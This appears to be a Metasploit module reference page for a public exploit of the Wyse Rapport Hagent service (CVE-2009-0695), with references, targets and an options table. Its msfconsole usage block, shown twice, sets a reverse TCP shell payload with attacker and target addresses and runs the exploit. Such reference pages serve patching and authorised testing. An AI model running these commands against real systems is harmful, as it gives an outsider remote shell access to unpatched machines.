Wyse Rapport Hagent Fake Hserver Command Execution
This module exploits the Wyse Rapport Hagent service by pretending to be a legitimate server. This process involves starting both HTTP and FTP services on the attacker side, then contacting the Hagent service of the target and indicating that an update is available. The target will then download the payload wrapped in an executable from the FTP service.
Exploit Rank
- Excellent
Exploit Authors
- kf < kf_list [at] digitalmunition.com >
Vulnerability References
- CVE-2009-0695
- OSVDB-55839
- US-CERT-VU-654545
- http://snosoft.blogspot.com/
- http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/
- http://www.wyse.com/serviceandsupport/support/WSB09-01.zip
- http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf
Exploit Targets
- 0 - Windows XPe x86 (default)
- 1 - Wyse Linux x86
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
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msf > use exploit/multi/wyse/hagent_untrusted_hsdata
msf exploit(hagent_untrusted_hsdata) > show payloads
msf exploit(hagent_untrusted_hsdata) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(hagent_untrusted_hsdata) > set LHOST [MY IP ADDRESS]
msf exploit(hagent_untrusted_hsdata) > set RHOST [TARGET IP]
msf exploit(hagent_untrusted_hsdata) > exploit
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msf > use exploit/multi/wyse/hagent_untrusted_hsdata
msf exploit(hagent_untrusted_hsdata) > show payloads
msf exploit(hagent_untrusted_hsdata) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(hagent_untrusted_hsdata) > set LHOST [MY IP ADDRESS]
msf exploit(hagent_untrusted_hsdata) > set RHOST [TARGET IP]
msf exploit(hagent_untrusted_hsdata) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to use for the FTP server (default: 21) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EXE::Custom | Use custom exe instead of automatically generating a payload exe |
| EXE::FallBack | Use the default template in case the specified one is missing |
| EXE::Inject | Set to preserve the original EXE function |
| EXE::OldMethod | Set to use the substitution EXE generation method. |
| EXE::Path | The directory in which to look for the executable template |
| EXE::Template | The executable template file name. |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| Proxies | Use a proxy chain |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |